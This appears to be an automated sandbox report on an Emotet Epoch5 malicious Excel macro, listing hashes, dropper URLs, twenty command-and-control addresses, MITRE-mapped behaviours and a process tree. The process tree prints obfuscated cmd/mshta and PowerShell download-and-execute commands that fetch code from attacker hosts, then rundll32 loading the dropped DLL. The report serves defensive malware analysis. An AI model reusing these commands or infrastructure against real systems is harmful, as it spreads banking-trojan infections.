emotet | 7429c9e25f9d5b509f78af97a0f595fac9ce8122ad4788c17087360e06521b2f

General

Target

7429c9e25f9d5b509f78af97a0f595fac9ce8122ad4788c17087360e06521b2f.xlsm
Size

49KB
MD5

1b3b9885b4613c3a910d6d48bd960e20
SHA1

51e969103c0b9dc7a30300617e06a6a2f3f98942
SHA256

7429c9e25f9d5b509f78af97a0f595fac9ce8122ad4788c17087360e06521b2f
SHA512

bdd56383eb805539fae845530fe75cc0622cbdabe33c34caece7d8babb429938149962316724dac9f04c5350914ee44a5a746d4523ad3f6e12596fe602533151

Score

10^/10

emotet epoch5 banker suricata trojan

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

http://0xb907d607/fer/fe1.html

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

http://185.7.214.7/fer/fe1.png

Extracted

Family

emotet

Botnet

Epoch5

C2

45.138.98.34:80

69.16.218.101:8080

51.210.242.234:8080

185.148.168.220:8080

142.4.219.173:8080

54.38.242.185:443

191.252.103.16:80

104.131.62.48:8080

62.171.178.147:8080

217.182.143.207:443

168.197.250.14:80

37.44.244.177:8080

66.42.57.149:443

210.57.209.142:8080

159.69.237.188:443

116.124.128.206:8080

128.199.192.135:8080

195.154.146.35:443

185.148.168.15:8080

195.77.239.39:8080

eck1.plain

ecs1.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	1248	3596	cmd.exe	68

suricata: ET MALWARE W32/Emotet CnC Beacon 3
suricata: ET MALWARE W32/Emotet CnC Beacon 3
suricata

Blocklisted process makes network request 5 IoCs

flow	pid	Process
33	3372	mshta.exe
39	3244	powershell.exe
41	3244	powershell.exe
51	3336	rundll32.exe
52	3336	rundll32.exe

Downloads MZ/PE file

Loads dropped DLL 2 IoCs

pid	Process
2504	rundll32.exe
3100	rundll32.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\Kdhaoevvvacj\hrhxvugt.tan	rundll32.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
2204	3372	WerFault.exe	73

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
3596	EXCEL.EXE

Suspicious behavior: EnumeratesProcesses 19 IoCs

pid	Process
3244	powershell.exe
3244	powershell.exe
2204	WerFault.exe
2204	WerFault.exe
2204	WerFault.exe
2204	WerFault.exe
2204	WerFault.exe
2204	WerFault.exe
2204	WerFault.exe
2204	WerFault.exe
2204	WerFault.exe
2204	WerFault.exe
2204	WerFault.exe
2204	WerFault.exe
2204	WerFault.exe
2204	WerFault.exe
3244	powershell.exe
3336	rundll32.exe
3336	rundll32.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	3244	powershell.exe
Token: SeDebugPrivilege	2204	WerFault.exe

Suspicious use of SetWindowsHookEx 13 IoCs

pid	Process
3596	EXCEL.EXE
3596	EXCEL.EXE
3596	EXCEL.EXE
3596	EXCEL.EXE
3596	EXCEL.EXE
3596	EXCEL.EXE
3596	EXCEL.EXE
3596	EXCEL.EXE
3596	EXCEL.EXE
3596	EXCEL.EXE
3596	EXCEL.EXE
3596	EXCEL.EXE
3596	EXCEL.EXE

Suspicious use of WriteProcessMemory 20 IoCs

description	pid	Process	procid_target
PID 3596 wrote to memory of 1248	3596	EXCEL.EXE	71
PID 3596 wrote to memory of 1248	3596	EXCEL.EXE	71
PID 1248 wrote to memory of 3372	1248	cmd.exe	73
PID 1248 wrote to memory of 3372	1248	cmd.exe	73
PID 3372 wrote to memory of 3244	3372	mshta.exe	76
PID 3372 wrote to memory of 3244	3372	mshta.exe	76
PID 3244 wrote to memory of 2844	3244	powershell.exe	78
PID 3244 wrote to memory of 2844	3244	powershell.exe	78
PID 2844 wrote to memory of 2504	2844	cmd.exe	79
PID 2844 wrote to memory of 2504	2844	cmd.exe	79
PID 2844 wrote to memory of 2504	2844	cmd.exe	79
PID 2504 wrote to memory of 3100	2504	rundll32.exe	80
PID 2504 wrote to memory of 3100	2504	rundll32.exe	80
PID 2504 wrote to memory of 3100	2504	rundll32.exe	80
PID 3100 wrote to memory of 3884	3100	rundll32.exe	83
PID 3100 wrote to memory of 3884	3100	rundll32.exe	83
PID 3100 wrote to memory of 3884	3100	rundll32.exe	83
PID 3884 wrote to memory of 3336	3884	rundll32.exe	84
PID 3884 wrote to memory of 3336	3884	rundll32.exe	84
PID 3884 wrote to memory of 3336	3884	rundll32.exe	84

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\7429c9e25f9d5b509f78af97a0f595fac9ce8122ad4788c17087360e06521b2f.xlsm"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3596
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c m^sh^t^a h^tt^p^:/^/0xb907d607/fer/fe1.html
  2⤵
  - Process spawned unexpected child process
  - Suspicious use of WriteProcessMemory
  PID:1248
- - C:\Windows\system32\mshta.exe
    mshta http://0xb907d607/fer/fe1.html
    3⤵
    - Blocklisted process makes network request
    - Suspicious use of WriteProcessMemory
    PID:3372
  - - C:\Windows\system32\WerFault.exe
      C:\Windows\system32\WerFault.exe -u -p 3372 -s 1644
      4⤵
      Program crash
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2204
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({GOOGLE}{GOOGLE}Ne{GOOGLE}{GOOGLE}w{GOOGLE}-Obj{GOOGLE}ec{GOOGLE}{GOOGLE}t N{GOOGLE}{GOOGLE}et{GOOGLE}.W{GOOGLE}{GOOGLE}e'.replace('{GOOGLE}', ''); $c4='bC{GOOGLE}li{GOOGLE}{GOOGLE}en{GOOGLE}{GOOGLE}t).D{GOOGLE}{GOOGLE}ow{GOOGLE}{GOOGLE}nl{GOOGLE}{GOOGLE}{GOOGLE}o'.replace('{GOOGLE}', ''); $c3='ad{GOOGLE}{GOOGLE}St{GOOGLE}rin{GOOGLE}{GOOGLE}g{GOOGLE}(''ht{GOOGLE}tp{GOOGLE}://185.7.214.7/fer/fe1.png'')'.replace('{GOOGLE}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X
      4⤵
      Blocklisted process makes network request
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:3244
    - - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll,AnyString
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:2844
      - C:\Windows\SysWow64\rundll32.exe
        
        C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll,AnyString
        6⤵
        Loads dropped DLL
        Suspicious use of WriteProcessMemory
        
        PID:2504
        
        C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\Users\Public\Documents\ssd.dll",DllRegisterServer
        7⤵
        Loads dropped DLL
        Drops file in System32 directory
        Suspicious use of WriteProcessMemory
        
        PID:3100
        
        C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Kdhaoevvvacj\hrhxvugt.tan",xCQbfcweDqIoN
        8⤵
        Suspicious use of WriteProcessMemory
        
        PID:3884
        
        C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\Kdhaoevvvacj\hrhxvugt.tan",DllRegisterServer
        9⤵
        Blocklisted process makes network request
        Suspicious behavior: EnumeratesProcesses
        
        PID:3336

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

3

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/2504-336-0x0000000004400000-0x0000000004428000-memory.dmp

Filesize
160KB

Download
memory/3100-348-0x0000000004B10000-0x0000000004B38000-memory.dmp

Filesize
160KB

Download
memory/3100-339-0x00000000041E0000-0x0000000004208000-memory.dmp

Filesize
160KB

Download
memory/3100-352-0x0000000004C70000-0x0000000004C98000-memory.dmp

Filesize
160KB

Download
memory/3100-346-0x0000000004AB0000-0x0000000004AD8000-memory.dmp

Filesize
160KB

Download
memory/3100-344-0x0000000004910000-0x0000000004938000-memory.dmp

Filesize
160KB

Download
memory/3100-342-0x0000000004830000-0x0000000004858000-memory.dmp

Filesize
160KB

Download
memory/3244-326-0x00000265032F0000-0x000002651B390000-memory.dmp

Filesize
384.6MB

Download
memory/3244-319-0x00000265032F0000-0x000002651B390000-memory.dmp

Filesize
384.6MB

Download
memory/3244-331-0x00000265032F0000-0x000002651B390000-memory.dmp

Filesize
384.6MB

Download
memory/3244-282-0x000002651B5A0000-0x000002651B5C2000-memory.dmp

Filesize
136KB

Download
memory/3244-302-0x000002651BAA0000-0x000002651BADC000-memory.dmp

Filesize
240KB

Download
memory/3244-314-0x000002651BB60000-0x000002651BBD6000-memory.dmp

Filesize
472KB

Download
memory/3336-355-0x0000000002C00000-0x0000000002C28000-memory.dmp

Filesize
160KB

Download
memory/3596-117-0x00007FF97BC30000-0x00007FF97BC40000-memory.dmp

Filesize
64KB

Download
memory/3596-116-0x00007FF97BC30000-0x00007FF97BC40000-memory.dmp

Filesize
64KB

Download
memory/3596-128-0x00007FF978E10000-0x00007FF978E20000-memory.dmp

Filesize
64KB

Download
memory/3596-118-0x00007FF97BC30000-0x00007FF97BC40000-memory.dmp

Filesize
64KB

Download
memory/3596-115-0x00007FF97BC30000-0x00007FF97BC40000-memory.dmp

Filesize
64KB

Download
memory/3596-129-0x00007FF978E10000-0x00007FF978E20000-memory.dmp

Filesize
64KB

Download
memory/3596-121-0x00007FF97BC30000-0x00007FF97BC40000-memory.dmp

Filesize
64KB

Download
memory/3596-398-0x00007FF97BC30000-0x00007FF97BC40000-memory.dmp

Filesize
64KB

Download
memory/3596-399-0x00007FF97BC30000-0x00007FF97BC40000-memory.dmp

Filesize
64KB

Download
memory/3596-400-0x00007FF97BC30000-0x00007FF97BC40000-memory.dmp

Filesize
64KB

Download
memory/3596-401-0x00007FF97BC30000-0x00007FF97BC40000-memory.dmp

Filesize
64KB

Download
memory/3884-353-0x00000000049D0000-0x00000000049F8000-memory.dmp

Filesize
160KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads